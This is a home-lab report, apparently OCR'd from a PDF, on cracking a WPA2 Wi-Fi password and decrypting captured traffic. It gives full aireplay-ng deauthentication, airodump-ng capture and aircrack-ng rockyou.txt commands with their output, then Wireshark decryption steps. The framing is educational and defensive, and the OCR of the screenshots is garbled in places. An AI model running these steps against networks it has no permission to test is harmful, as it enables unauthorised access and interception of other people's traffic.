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Executive Summary

Wireless security is a vital component of modern cybersecurity, especially as the number of
connected devices in home networks continues to grow. These networks, while convenient, often lack
the visibility and safeguards found in enterprise environments. This project explores how a USB Wi-Fi
adapter—configured for monitor mode in Kali Linux—can be used in two distinct but related security

testing scenarios:

1. Attempting to crack the Wi-Fi password with a Wi-Fi adapter using airmon-ng and dictionary-

based attacks.

2. Decrypting wireless traffic from other devices on the same network by entering the known

WPA2 password into Wireshark.

By walking through the full setup and usage of a monitor-mode-compatible adapter, this project
demonstrates how wireless traffic can be intercepted, decrypted, and analyzed—or potentially
compromised—using open-source tools in a lab setting. These techniques mirror those used by
penetration testers and ethical hackers and reinforce the importance of robust wireless security

configurations.

Purpose

The purpose of this project is to gain practical experience in using a wireless network adapter for

advanced traffic analysis and security testing. The key focus for this project is:

% Setting up the adapter to monitor all wireless traffic in the area.

% Decrypting WPA2 traffic on a known network using Wireshark.

< Capturing handshake packets to test Wi-Fi password cracking techniques.

Through these activities, the project provides insight into how encrypted wireless
communication can still leak useful metadata, and how weak or reused passwords can put entire

networks at risk. It also emphasizes ethical practices and responsible use of network monitoring tools.



Objectives

The primary objectives of this project are:
> Set up and configure a USB Wi-Fi adapter to operate in monitor mode on Kali Linux.
> Capture WPA2 4-way handshake with airmon-ng
> Perform a basic dictionary attack to crack the Wi-Fi password from captured handshakes.
> Decrypt WPA2-encrypted traffic in Wireshark using the known password.
> Capture and examine TLS-secured traffic.
> Recommend practical steps to improve home wireless network security.

/\ Disclaimer: This experiment was performed solely on an owned home network and devices for

educational purposes. No unauthorized access or testing was attempted on any network. /\

Scope

This project was conducted in a home lab environment using commonly available hardware and
open-source tools. The central component is a Panda PAUOD AC1200 USB Wi-Fi adapter, chosen for its
support of monitor mode and packet injection. The adapter was connected to a Kali Linux virtual

machine running on a Lenovo ThinkPad with Windows 11.
This project involved two main scenarios:

1. Cracking the Wi-Fi Password:
This project tested the adapter’s ability to capture WPA2 handshake packets. After collecting
handshakes, dictionary-based cracking techniques were explored using tools like aircrack-ng.
This exercise simulated how an attacker might attempt to gain access to a network with a weak

password.

2. Decrypting Wireless Traffic:
Using a USB Wi-Fi adapter in monitor mode, | captured traffic from a WPA2-secured home
network. After recovering the pre-shared key, | entered it into Wireshark to decrypt packets

from a Dell Inspiron laptop (IP: 192.168.1.71, MAC: 74:13:EA:4F:06:D7). This enabled live traffic



analysis, including full HTTPS visibility by importing TLS session keys to decrypt previously

encrypted web communications.

Glossary

Term Description
IEEE 802.11 The set of standards that define wireless LAN (Wi-Fi) communication.
Airmon-ng Part of the Aircrack-ng suite. Enables monitor mode on wireless adapters.
Aircrack-ng A suite of tools used to assess Wi-Fi network security. It's commonly used

for capturing and cracking WPA/WPA?2 handshakes.

Brute Force Attack

Trial-and-error method of guessing credentials by systematically testing all

possible combinations until the correct one is found.

BSSID

Basic Service Set Identifier; the MAC address of the wireless access point.

Deauthentication

Attack

A type of attack that forces a device to disconnect and reconnect, enabling

capture of a WPA2 handshake.

Dictionary Attack

A password-cracking method that tries each word from a predefined list

(like rockyou.txt) to find a match.

EAPOL Extensible Authentication Protocol over LAN; used during the WPA2
handshake to carry key exchange messages.

Haschat An advanced password cracking tool.

Kali Linux A Linux distribution tailored for penetration testing and ethical hacking.

Monitor Mode

A mode for Wi-Fi adapters that allows them to listen to all nearby wireless

traffic without connecting to a network.

0OSI Model

A conceptual framework that describes how data moves through a

network in seven layers.

Packet Injection

The ability of a Wi-Fi adapter to send crafted packets, such as

deauthentication frames.

rockyou.txt A widely used password wordlist based on real passwords leaked from the
2009 RockYou breach.
SSID Service Set Identifier; the public name of a Wi-Fi network.




TLS (Transport Layer

Security)

A protocol that encrypts data over networks (e.g., HTTPS traffic) and

operates above Wi-Fi encryption.

Wireshark

A network packet analyzer used to inspect and analyze captured network

traffic.

WPA2 Handshake

A 4-step authentication exchange that happens when a client connects to

a WPA2-protected Wi-Fi network.

Background Research / Setup Considerations

Technical Background

Before performing a Wi-Fi packet capture, or attempting a WPA2 password cracking, it's

essential to understand the hardware requirements, wireless standards, and how these processes work

within the OSI model. Wi-Fi communication follows the IEEE 802.11 standard, which primarily operates

at two layers of the OSI model:

< Layer 1 - Physical Layer: Handles signal transmission over radio frequencies, including channel

selection (2.4GHz/5GHz) and modulation. Monitor mode — the ability to listen to all nearby

wireless traffic — is a function of this layer.

< Layer 2 — Data Link Layer (MAC sublayer): Deals with 802.11 frame construction, MAC

addressing, and control frames. Packet injections and WPA2 handshake capture occur at this

layer.

Setup Requirements

To perform a successful wireless capture and password cracking attempt, your wireless adapter

must meet the following minimum requirements:

3
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» Support for Monitor Mode — to passively capture all wireless frames on a given channel.
Support for Packet Injection — to actively send packets (e.g., de-authentication frames).
» Support for both 2.4GHz and 5GHz bands — for visibility across modern networks.

Access to higher channels (36 and above) — commonly used by dual-band routers.




< Driver compatibility with Kali Linux — to ensure full functionality.

It is recommended to avoid Realtek-based adapters, as they often lack stable monitor mode and
injection support, especially on 5GHz. Instead, choose adapters with chipsets that are well-supported in

Kali and widely used for wireless testing:
% Atheros
< Ralink/MediaTek
% Broadcom (with limited but improving support)

WPA2 Handshake Capture

To attempt WPA2 password cracking, you must capture the 4-way handshake, which occurs
when a client connects or reconnects to the access point. This handshake contains cryptographic
material needed for offline attacks. However, handshake capture depends entirely on timing — if no
client is actively connecting during your capture, no handshake will appear. In the event that there is not

an active connection during the attempted capture, you can:
% Passively wait for a client to reconnect.

< Or use packet injections to send de-authentication packets, forcing a device to disconnect and

reconnect, triggering the handshake.
To perform a basic deauthentication attack using, the following command can be used:

> aireplay-ng --deauth 100 -a <AP MAC> -c <Client MAC> <interface>

2
o

--deauth 100: Sends 100 deauthentication frames.

2
o

-a: Specifies the MAC address of the access point (target router).

R
o<

-c: Specifies the MAC address of the client device to disconnect.

R
o<

<interface>: Refers to the wireless adapter in monitor mode (e.g., wlanOmon).

Once captured, the handshake can be exported and used with tools like aircrack-ng for cracking the

password.



Wordlists and Dictionary Attacks
A dictionary attack is a basic form of brute force attack where attackers try to crack a password
by rapidly testing a list of common words, phrases, and number combinations until they find a match.
Weak or reused passwords are one of the most common vulnerabilities in wireless security. According to
Kaspersky, a Google study found that 65% of users reuse passwords across accounts, and 59% rely on
personal details that are easy to guess or discover.! This creates ideal conditions for attackers to

exploit—especially when passwords are short, predictable, or drawn from publicly known leaks.

In WPA2 cracking, attackers often rely on dictionary attacks, where each password in a wordlist
is tested against a captured 4-way handshake to find the correct one. Tools like aircrack-ng automate
this process by comparing each candidate password against the captured authentication data. In this
project, | used the rockyou.txt wordlist?>—an archive of millions of real-world passwords exposed in a
2009 data breach—to simulate this kind of attack. Because many users choose simple or common
passphrases, tools like aircrack-ng paired with rockyou.txt can quickly crack poorly secured Wi-Fi

networks.

Characteristics of a Strong Password
Strong passwords are essential for defending wireless networks against password-cracking tools
such as Hashcat and Aircrack-ng. Weak passwords are easily broken when they have any of the following

characteristics:

2
o

Short length (e.g., fewer than 12 characters)

2
o

Use of common dictionary words (e.g., "football", "qwerty")

R
L4

Simple patterns (e.g., "abc123", "password1")

2
o

Repeating characters or predictable sequences (e.g., "aaaall111", "1234567")

A strong password should include:

% Belong — ideally 16 characters or more

R . .

% Include a mix of uppercase and lowercase letters, numbers, and special characters
N . .

< Avoid recognizable words, dates, or common sequences

< Be randomly generated when possible, rather than human-created

1 Kaspersky. (n.d.). What is a dictionary attack? Kaspersky. https://www.kaspersky.com/resource-
center/definitions/what-is-a-dictionary-attack

2 Burns, W. J. (n.d.). Common password list (rockyou.txt) [Dataset]. Kaggle.
https://www.kaggle.com/datasets/wjburns/common-password-list-rockyoutxt
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Research shows that passwords built from random combinations are significantly harder to
crack, especially against dictionary and rule-based attacks (St. Cloud State University, 2024). In wireless
network security, random and complex passwords are the best defense against attacks using common

wordlists like rockyou.txt.?

Setting Up the Adapter and wlanO on Kali Linux

% Insert the Panda PAUOD USB Wi-Fi adapter into your host (Windows) machine. In VirtualBox, go
to Settings > USB for your Kali VM and add the Panda adapter using the USB filter list. The name
of your adapter shown may not match the retail brand name, it will often display the chipset

manufacturer.
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Once Kali is running, plug in the adapter and check if Kali recognizes the adapter through

Devices > USB in the VirtualBox toolbar and ensure the adapter is selected (check-marked).

@ usBsettings...

Intel Corp.

GeneralPlus USB Audio Device [0100]

Integrated Camera [1017]

IMicron Technology Corp. / IMicron USA Technology Corp. [0209]

v MedaTek Inc. Wireless [0100]

Realtek Semiconducto ;
Realtek Semiconducto P

' Ethernet Adapter [3100]

> [susb

lsusb
001 Device
001 Device

002 Device
002 Device
002 Device

Verify the adapter is detected by Kali, open a terminal in Kali and run:

0002 Linux Foundation 2.0 root hub

0021 VirtualBox USB Tablet

0003 Linux Foundation 3.0 root hub

10747 Genesys Logic, Inc. USB Storage

7612 MediaTek Inc. MT7612U 802.11a/b/g/n/ac Wireless Adapter

Set the adapter to monitor mode by running:

9

Open Device Manager (Ctrl + c) on the host and disable the adapter under Network Adapters to

Unplug the adapter and Launch the Kali Linux virtual machine BEFORE plugging the adapter back
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> sudo airmon-ng start wlan0
¢ Confirm the interface is in monitor mode using:

> |wconfig

\ are
sudo airmon-ng start wlano@
sudo] password for kayvon:

Interface Driver Chipset
bhy20  wlan@ mt76x2u MediaTek Inc. MT7612U 802.11a/b/g/n/ac

(mac80211 monitor mode vif enabled for [phy20]wlan® on [phy20]wlan@mon)
(mac80211 station mode vif disabled for [phy20]wlan0@)

/usr/share/wordlists
iwconfig
no wireless extensions.

no wireless extensions.

no wireless extensions.

wlanOmon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on

This displays the USB Wi-Fi adapter is now set up on Wlan0 with monitor mode enabled.

Cracking the Wi-Fi Password

Before trying to crack any passwords, the USB Wi-Fi adapter was switched into monitor mode
using airmon-ng, as shown in the previous step. This allows the device to listen to all wireless trafficon a
specific channel without joining the network—basically just watching what’s going on. Monitor mode is
essential for picking up WPA2 handshakes, which happens when a device connects to a Wi-Fi network.
With this setup, the project shows how an attacker could use free, open-source tools to capture a
handshake and attempt a dictionary attack on it. The goal was to see if the home Wi-Fi password could
be cracked using the common rockyou.txt wordlist, demonstrating how risky weak or reused passwords

can be—even on WPA2-secured networks.

Steps to crack Wi-Fi password

1) Kill any airmon-ng processes to avoid conflict, turn the Wi-Fi adapter to monitor mode, and verify:

R

% sudo airmon-ng check kill
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% sudo airmon-ng start wlan0

% iwconfig

< (This will change your wlan0 to wlanOmon)

~

sudo airmon-ng check kill

~

sudo airmon-ng start wlano@

Interface Driver Chipset

bhy1 wlan@ mt76x2u MediaTek Inc. MT7612U 802.11a/b/g/n/ac
(mac80211 monitor mode vif enabled for [phyl]wlan® on [phyl]wlan@mon
(mac80211 station mode vif disabled for [phyl]wlan@)

iwconfig
no wireless extensions.

no wireless extensions.
no wireless extensions.
IEEE 802.11 moue.monitor Frequency:2.457 GHz Tx-Power=20 dBm

Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on

2) Identify the access point of your target device

R
o

run ‘sudo airodump-ng wlanOmon’

R
L4

Take note of the access point MAC address, BSSID

R
L4

We see in the frame below that the target device on ATTK is operating on channel 11 with

BSSID number of 58:07:f8:0d:9c:14.
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sudo airodump-ng wlan@mon
Elapsed:
ENC CIPHER

OPN

WPA2 CCMP

WPA2 CCMP
WPA2 CCMP
WPA2
WPA2

WPA

WPA2

WVFAZL
—
WPA2
WPA2
WPA2
WPA
WPA
WPA2
WPA2
OPN
OPN

WPA2 CCMP

Lost Frames

Q

0 : : zue-z4€
58:07:F8:0D:9C:14 24e- 1
5 :0D:9C:14 3 1e >

:F8:0D:9C: 14 2

3) Start a Wi-Fi packet capture targeting the ATTK network (BSSID: 58:07:f8:0d:9c:14) on Channel 11,

using monitor mode (wlanOmon).

Run the following command to write the scan to a file. Keep in mind that in this demonstration, | labeled

the file ‘hackl’ for organizational purposes, but you can utilize any naming methodology, if preferred.

% sudo airodump-ng -w hackl -c 11 --bssid 58:07:f8:0d:9c:14 wlanOmon
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~

sudo airodump-ng -w hackl -c 11 --bssid 58:07:f8:0d:9c:14 wlan@mor
1:05:13 Created capture file "hack1l-20.cap”.

][ Elapsed: 1 min ][ 2025-04-20 11:06 ][ sorting by bssid

PWR RXQ Beacons #tData, #/s CH MB ENC CIPHER AUTH ESSII
58:07:F8:0D:9C:14 -38 22 511 10635 45 11 260 WPA2 CCMP PSK ATTK
BSSID STATION PWR Frames Notes Probes

504
9651
84
52
14
16

DBIV/IFBIUDIYCI1E C(UIADIEBIZYI40:IHY
58:07:F8:0D:9C:14 74:13:EA:4F:06:D7
58:07:F8:0D:9C:14 CE:C3:2D:79:3F:
58:07:F8:0D:9C:14 FO:1D:BC:4F:14:
58:07:F8:0D:9C:14 14:C1:4E:17:A7:
58:07:F8:0D:9C:14 98:A8:29:ES5:

Q07 ER*AN:Q( * YL CE*22FS*

| .
N
S Wik

|

|
WWNWN

(v oI v ¢

N = O © =M

4) Capture the 4-way handshake from a NEW terminal by running:

** sudo aireplay-ng --deauth 0 -a 58:07:F8:0D:9C:14 -c 74:13:EA:4F:06:D7 wlanOmon
«» This attack temporarily disconnected all clients from the target Wi-Fi network, forcing them

to reconnect. During this reconnection, you need to keep airodump-ng running to capture

the WPA2 handshake.

DeAuth
DeAuth
DeAuth
DeAuth (

sudo airodump-ng -w hackl -c 11 --bssid 58:07:f8:0d:9c:14 wlan@mon
1:05:13 Created capture file "hack1-20.cap”.

CH 11 ][ Elapsed: 12 mins ][ 2025-04-20 11:17 ][ WPA handshake: 58:07:F8:0D:9C:14

PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSI|

:0D:9C:14 1682 70374 5 11 260 WPA2 CCMP PSK ATTK
STATION PWR e S Frames Notes Probes

CO:A5:ES8: 9

:1D:BC:

3:EA:

T4E:

2D:

(=

wn
)
|

y O

v o;m
®

|
W WwwwnN
v O

(=}

Tonom
™
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5) Open the file in Wireshark in the same active directory and inspect the EAPOL handshake packets.

2

< wireshark hack1-20.cap (For me it was the 20th scan, your first scan will be labeled -01)
< Enter ‘eapol’ in the filter to inspect handshake packets

< Expand the EAPOL packet labeled ‘message 2 of 4’

< In the bottom panel, expand 802.1x Authentication and find ‘WPA Key ID’

% This is what needs to be cracked!

Protocol Length  Info

EAPOI

6) Extracting and cracking the WPA2 Handshake

2

< Put adapter from monitor mode back to managed mode by running:
> sudo airmon-ng stop wlanOmon
< Navigate to /usr/share/wordlists and verify the presence of the rockyou.txt
< Use aircrack-ng with the rockyou.txt wordlist to begin performing a dictionary attack for
cracking

> qaircrack-ng hack2-01.cap -w /usr/share/wordlists/rockyou.txt -b 58:07:F8:0D:9C:14
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aircrack-ng hack2-01.cap -w /usr/share/wordlists/rockyou.txt
eading packets, please wait ...
PDpening hack2-01.cap
nter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
nter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Resetting EAPOL Handshake decoder state.
esetting EAPOL Handshake decoder state.
Read 61420 packets.

# BSSID ESSID Encryption
1 58:07:F8:0D:9C:14 ATTK WPA (1 handshake)
hoosing first network as target.

eading packets, please wait...

PDpening hack2-01.cap

Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Resetting EAPOL Handshake decoder state.
esetting EAPOL Handshake decoder state.
Read 61420 packets.

«» Aircrack-ng began testing each password in the wordlist against the captured handshake
«» Cracking ran at ~2,000-2,900 keys/sec.
< After testing ~993,611 keys, the correct WPA2 passphrase was found:

> KEY FOUND! [ detected ]

[00:08:02] 993611/14344392 keys tested (2095.71 k/s)
Time left: 1 hour, 46 minutes, 10 seconds

KEY FOUND! [ detected ]

Master Key - 8E F4 C7 A8 0D 4C 68 7A BA
84 AA 3C 05 BS E9 EE DD 69

Transient Key : BF 53 44 BC 78 A8 FO F6 54
3C B5 42 66 D2 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

EAPOL HMAC - C4 ES 4C 70 90 8B 77 33 BC

Given that this was conducted on my own home network, I’'m able to confirm that the password for the

target network was cracked. The image below from the router management console confirms this.
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Device Broadband Home Network Voice Firewall Diagnostics

Status Configure IPvE Wi-Fi MAC Filtering Subnets & DHCP IP* Allocation

Wi-Fi

Making a change to some pull downs on this page will automatically change the context below it,
enabling you to fill only the appropriate fields for the change you have made.

NOTE: You have different Wi-Fi Network Name(55IDs), Passwords or Security settings

configured per radio, or a radio is disabled. If you want to maintain these settings

individually, click on the Advanced Options link below. By default, the 5 GHz SS5ID and Password is
displayed. Saving the settings on the current page will change these settings for all radios. You may need
to reconnect some devices to the Gateway using these new settings.

To configure options not displayed, or which can't be edited, on this page, click on the "Advanced
Options” link below.

Advanced Options

Hide or Show Password Hide Wi-Fi Password

Home SSID

Home 551D Enable Oon v Default: On

Network Name (S S1D) ATTK Default: ATTNm8ibst

Security | Custom Password | Default: Default Password

Password @

Default: Txamu?7gk+yc

Understanding the RockYou.txt Wordlist

This section outlines the final phase of the WPA2 cracking process: using a captured handshake
file to run an offline dictionary attack with aircrack-ng and the widely used rockyou.txt wordlist. The
handshake was captured from a Dell device (74:13:EA:4F:06:D7) during an active session on the ATTK
access point (58:07:F8:0D:9C:14). After forcing a reconnection via deauthentication, the resulting

handshake was saved as hack1-20.cap, setting the stage for an offline password recovery attempt.
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The objective was to replicate a realistic attack scenario where a client is kicked off a network,
the handshake is intercepted, and an attacker attempts to break the encryption using a list of commonly
used passwords. This mirrors a standard technique in Wi-Fi penetration testing aimed at revealing weak

password practices in WPA2-secured environments.
The command used was:
aircrack-ng hack2-01.cap -w /usr/share/wordlists/rockyou.txt -b 58:07:F8:0D:9C:14
> hack2-01.cap — the capture file containing the WPA2 handshake
> -w — specifies the wordlist
> -b — targets the specific BSSID of the access point

Aircrack-ng then proceeded to systematically test each password in the wordlist against the
handshake using the Pre-Shared Key (PSK) authentication challenge in the WPA2 protocol. To crack the
WPA2 handshake, | used the rockyou.txt wordlist, one of the most widely used password dictionaries in
penetration testing. Originally derived from real leaked passwords exposed in the RockYou.com data
breach (2009), this list contains millions of commonly used, weak, and reused passwords. It's often used

in brute-force and dictionary attacks due to its real-world relevance.
In Kali Linux, the wordlist is stored by default at:

< /Jusr/share/wordlists/rockyou.txt.gz
Before using it, the file must be unzipped with the command:

< gunzip /usr/share/wordlists/rockyou.txt.gz

For the experiment above, the rockyou.txt file was already previously extracted. Once extracted, | used

rockyou.txt with aircrack-ng to perform a dictionary attack against the WPA2 handshake.

«» aircrack-ng hack2-01.cap -w /usr/share/wordlists/rockyou.txt -b 58:07:F8:0D:9C:14

The tool systematically tested each password in the list against the captured handshake until it found a

match:

2

% KEY FOUND! [ detected ]
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Once the handshake was saved to hack1-20.cap, the attack no longer required any connection
to the access point or device. Using aircrack-ng, each password in the rockyou.txt wordlist was tested
against the captured handshake offline. The correct Wi-Fi password was identified within minutes,
confirming that the network was vulnerable due to its use of a weak, commonly used credential. This
outcome reinforces a key point: WPA2 encryption alone doesn’t guarantee security. If the password is
predictable or reused, it can be cracked with basic tools and publicly available wordlists—no sustained

access or advanced exploits are needed.

Decrypting Wi-Fi Traffic

After capturing the WPA2 handshake and recovering the correct Wi-Fi password, the next step
was decrypting the wireless traffic in Wireshark. This process starts with identifying the target network,
capturing the needed packets, and then loading the capture file into Wireshark for analysis. By entering
the password in Wireshark’s IEEE 802.11 settings, encrypted frames can be decrypted, making it possible

to see device activity and uncover sensitive metadata.

This section shows how someone can decrypt wireless traffic by capturing the WPA2 handshake,
using a known password, and working with a wireless adapter in monitor mode from the beginning. If
you’ve already followed the previous steps to capture the handshake and obtain the password, you can

skip ahead to Step 6, where the actual decryption in Wireshark begins.
Steps:

1) Use Airodump-ng to scan nearby wireless networks and find target:

2
o

sudo airodump-ng wlan0

R
L4

It was confirmed that the target access point ATTK was operating on channel 11 and can confirm

the BSSID and MAC address of the target device
«» BSSID: 58:07:F8:0D:9C:1C

< MAC: 74:13:EA:4F:06:D7

sudo airodump-ng wlan@mon
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2 mins ][ 2@ 04-20 11:

PWR #Data ( ME ENC CIPHER

< Optional: Verify channel and BSSID on the target system using Command Prompt:



2)

> netsh wlan show interfa

here is 1 interface on the system:

Name : Wi-Fi

Description : Intel(R) Wi-Fi 6E AX211 160MHz
GUID : 691U4el170-6879-U33c-adlc-7255f220cc9d
Physical address : 74:13:ea:Uf:06:d7
Interface type : Primary

State : connected

SSID : ATTK

A ) : 58:07:¥8:0d:9c:14
Band : 2.4 GHz

Channel 3 alat

Network type : Infrastructure
Radio type : 802.11n
Authentication : WPA2-Personal
Cipher : CCMP

Connection mode : Profile

Receive rate (Mbps) :1ug.4

Transmit rate (Mbps) :1ug.4

Signal 1 92%

Profile : ATTK

QoS MSCS Configured : 0

QoS Map Configured : 0

QoS Map Allowed by Policy : ©

Hosted network status : Not available

Run airodump-ng in targeted capture mode, specifying:

2
o

The BSSID of your access point: (58:07:F8:0D:9C:14)

2
o

The correct channel (11)

R
L4

A filename to save the capture (hackl.cap)

R
L4

Used wlanOmon as the monitoring interface (already in monitor mode)

2
o

The command below creates the capture file.

> sudo airodump-ng -w hackl -c 11 --bssid 58:07:F8:0D:9C:14 wlanOmon

20
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—$% sudo airodump-hgr-w hackl -c 11 --bssid 58:07:f8:0d:9c:14 wlan®mon
11:05:13 Created capture file "hackl-20.cap”

ir

][ Elapsed: 8 mins

2025-04-20 11:14 ]

L

sorting by bssid

PWR RXQ Beacons #iData, #/s CH MB ENC CIPHER AUTH ESSID
:@0D:9C:14 -38 0 1409 60770 35 11 260 WPA2 CCMP PSK ATTK
STATION PWR Rate Lost Frames Notes Probes

CO:AS5:E8:29:46: -19 24e-24e 3 7366
74:13:EA:4F:06: =23 24e-24e 300 50750
FO:1D:BC:4F:14: -26 6e- 1 1490 669
14:C1:4E: - A2 -34 24e- 6 ) 187
CE:C3:2D:79:3F: -38 24e-24 0 1384
98:A8:29:E5:10: =37 24e- be 0 281
24:CE:33: : 5 3 24e- be 7 949

3) Confirm the 4-way handshake using a deauthentication attack:

2

< Use aireplay-ng to send deauthentication frames and force the target device to disconnect,

opening vulnerabilities, triggering a handshake when it reconnects.

> sudo aireplay-ng --deauth 0 -a [BSSID] -c [Target MAC] wlanOmon

— 3 3 8:0 C:14 -cC 74'1':EA'4F'OE'D7 wlan@mon

11: eacon +[4mn ( A :@7:F8:@D:9C:14) on channel 11

11: DeAuth C L tEA:4F:@6:D7] [1741175 ACKs
11: DeAuth ; e 7). ! : LA 14F:@6:D7] [1571165 ACKs
11: DeAuth ( e 7). ¢ : [7 14F:@6:D7] [62]64 ACKs]
11: .EHUIHE DeAuth : ; : [T 14F:@6:D7] [ @le4 ACKs]
11: Sending DeAuth : ; ! [74:13:EA:4F:06:D7]

11: Sending DeAuth (code : C: [7¢ tEA:4F:06:D7]

11: Sending DeAuth (code 7). ° : [74:13:EA:4F:06:D7]

11: Sending DeAuth (code 7). ¢ 7 *4F :D71]

11: nding DeAuth (code 7). ! 71 1 :07]

11 i DeAuth (code : : [74:13:EA:4F:06:D7]

11: DeAuth (code : C: [7¢ EA:4F:@6:D7]

11: g DeAuth ( : : [74:13:EA:4F:B6:D7]

11: ing 64 direc DeAuth ( 7 nt D71

NoAnth Fa 7Y < L r 3 - A=rh n71

o —h
Sl=N
|

ohoCh Cn Oh Ch Oh Cho O O O EN
-

R
28

A successful handshake will result in an observed WPA handshake in the top right corner and will

show EAPOL under Notes.
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~

sudo airodump-ng.-w hackl -c 11 --bssid 58:07:f8:0d:9c:14 wlan@mon
11:05:13 Created capture file "hackl-20.cap”.

CH 11 Elapsed: 12 mins ][ 2025-04-20 11:17 ][ WPA handshake: 58:07:F8:0D:09C:14

BSSID PWR RXQ Beacons #fiData, #/s CH MB ENC CIPHER AUTH ESSID
58:07:F8:0D:9C: =35 1 1682 70374 5 11 260 WPA2 CCMP PSK ATTK
BSSID STATION PWR Rate Frames Notes Probes

58:07:F8:0D:9C: CO:A5:E8:29:46: -20 24e-24e 9342
58:07:F8:0D:9C: FO:1D:BC:4F:14: -29 6e- 1 839
58:07: - :9C: 74:13:EA: g X -36 6e- 1le 68763
58:07: - : 2 14:C1:4E: g 2 -34 24e- 6 261
58:07:F8:0D:9C: CE:C3:2D:79:3F: -35 24e-24 2145
58:07: - x 2 98:A8:29: 2 : -36 24e- 6 376
58:07:F8:0D:9C: 24:CE:33:E5:0D: =52 24e- 6e 3 1112

4) Stop the capture and open the capture file in Wireshark:

Once the handshake was captured and confirmed (indicated by the WPA handshake: message in
airodump-ng), the capture session was stopped using Ctrl + C. This finalized the .cap file (e.g., dell-
handshake-02.cap). The file was then opened in Wireshark, a packet analysis tool, to visually inspect the

captured traffic. The .cap file is stored in the working directory where airodump-ng was executed.

2

% Stop Session:
> Ctrl+C

< Locate file in working directory:
> |s-I| | grep.cap

% Launch Wireshark through terminal:

> sudo wireshark

5) Decrypting Captured Traffic in Wireshark:
«» After opening the captured .cap file in Wireshark, the Wi-Fi password for the network
(ATTK) was entered to enable decryption of encrypted 802.11 traffic.
< Edit = Preferences - Protocols - IEEE 802.11 - Decryption Keys - Edit

< A new key of type wpa-pwd was added in the format.

% Click OK.



Icp

IcQ

IEC 60870-5-
IEC 60870-5-
|IEC 60870-5-
|IEEE 802.11
IEEE 802.15.4
|IEEE 802.1AH
|IEEET722
iIFCP

ILP

IMAP

IMF

INAP
Infiniband SDP
Interlink
IPDC

IPDR/SP
iPerf2

iPerf3

IPMI

IPPUSB
IPSICTL

IPv4

IPv6

IPVS

IPX

IRC

ISAKMP

iscsl

™ Heln

If you see highlighted packets after inputting the WPA key like the image below, then you have

ile Edit View

IEEE 802.11 wireless LAN

v Reassemble fragmented 802.11 datagrams

Ignore vendor-specific HT elements
v Call subdissector for retransmitted 802.11
Assume packets have FCS
Validate the FCS checksum if possible
Ignore the Protection bit
® No
Yes - without [V
Yes - with IV

Enable WPA Key MIC Length override

Key type
wpa-pwd

WPA Key MIC Length override O
Treat as S1G

v Enable decryption

Decryption keys  Edit...

WEP and WPA Decryption Keys

Key
detected:ATTK

successfully decrypted Wi-Fi traffic.

Capture Analyre Statistics Telephony Wireless Tools Help

DA cBBE@ a¢«+»n«+»@FEHoeoo @l

X Cancel

v 0K

HTTP/1
SHTTP/1

Analyzing Decrypted Traffic in Wireshark:

With the Wi-Fi password successfully recovered, the next phase involved analyzing the

23

previously encrypted traffic using Wireshark. After entering the password into Wireshark’s IEEE 802.11

decryption settings, the captured packets could be decrypted and viewed in plain text. Wireshark used
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the WPA2 4-way handshake—captured during the initial packet collection—along with the correct
passphrase to unlock the wireless data.

While this report does not focus on deep packet analysis, this section highlights some of the
protocols observed in the decrypted traffic. It demonstrates how access to a single Wi-Fi password,
combined with a captured handshake, can expose a significant amount of device activity and network

metadata that would otherwise remain hidden.

EAPOL Packet Breakdown: Message 1 of the WPA2 4-Way Handshake

Version: 802.1X-2004 (2

Type: Key (3)

Length: 95

Key Descriptor Type: EAPOL RSN Key (2)
[Message number: 1]

Key Information: 0x008a
Key Length: 16
Replay Counter: 1

® B |EEE 802.11 wireless LAN (wlan), 26 byte(s)

This packet is part of the WPA2 4-way handshake, specifically Message 1, sent from the access
point to the client. It contains the WPA Key Nonce used to generate encryption keys, and a zeroed-out
MIC confirming it's the initial key exchange. This is the packet that initiated the handshake process and

allowed Wireshark to decrypt the captured wireless traffic.

Wireshark Screenshot Analysis — TCP and TLS Traffic

The screenshot captures a section of a Wireshark packet capture, displaying a sequence of
packets related to an HTTPS connection between an internal host and external servers. This snapshot

offers insight into how encrypted web traffic flows from a client over a wireless network.
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Wireshark - Packet Counter - dell-handshake-02.cap

Topic [ Item * Count Average MinVal MaxVal Rate (ms) Percent Burst Rate Burst Start
~ Total HTTP Packets 0.0001 100% 00300 15557
Other HTTP Packets 0.0000 0.00% - -

* HTTP Response Packets 0.0000 0.00% -
b 0.0000
rver Error 0.0000
0.0000
0.0000
0.0000
0.0000 -
= HTTP Request Packets 7 0.0001 100.00% 0.0300 15557
SEARCH ] 0.0001 b 00300 15557
NOTIFY 0.0001 50.70% 00200 424567

Display filter: Apply

Copy Saveas... X Close

The packet analysis from dell-handshake-02.cap shows a total of 71 HTTP packets were
captured. All of these were HTTP request packets, with 35 SEARCH requests and 36 NOTIFY messages.
No HTTP response packets were recorded, including status codes such as 2xx (Success), 4xx (Client
Error), or 5xx (Server Error). This pattern indicates device discovery and advertisement traffic, likely

generated by services such as UPnP or similar protocols over HTTP.
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Wireshark Capture Showing HTTPS Traffic: TCP 3-Way Handshake and TLS Session

hackl-17.cap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOA®@ e BEM@EB Q ¢« >0 «>EE oe o

A tep

No. i Source Destination Protocol Length Info
11668 55.588281 . 142.251.32.42 102 58528
11669 55.588285 o 74.125.166.38 102 58529
11674 55.588300 192.168.1.71 157.2408.22.35 102 58530
11679 55.588319 192.168.1.71 172.217.12.110 102 58531 . ¢
11703 55.588407 142.251.32.42 192.168.1.71 102 443 — 58t
11704 55.588411 142.251.32.42 192.168.1.71 102 443 . 58%
11705 55.588415 157.240.22.35 192.168.1.71 102 443 — 58t
11706 55.588419 172.217.12.110 192.168.1.71 102 443 . 58f
11710 55.588427 192.168.1.71 142.251.32.42 90 58528 - ¢
11711 55.588431 192.168.1.71 142.251.32.42 90 58527 . !/
11712 55.588435 192.168.1.71 157.248.22.35 90 58530 - ¢
11713 55.588438 192.168.1.71 172.217.12.110 90 58531 . !/
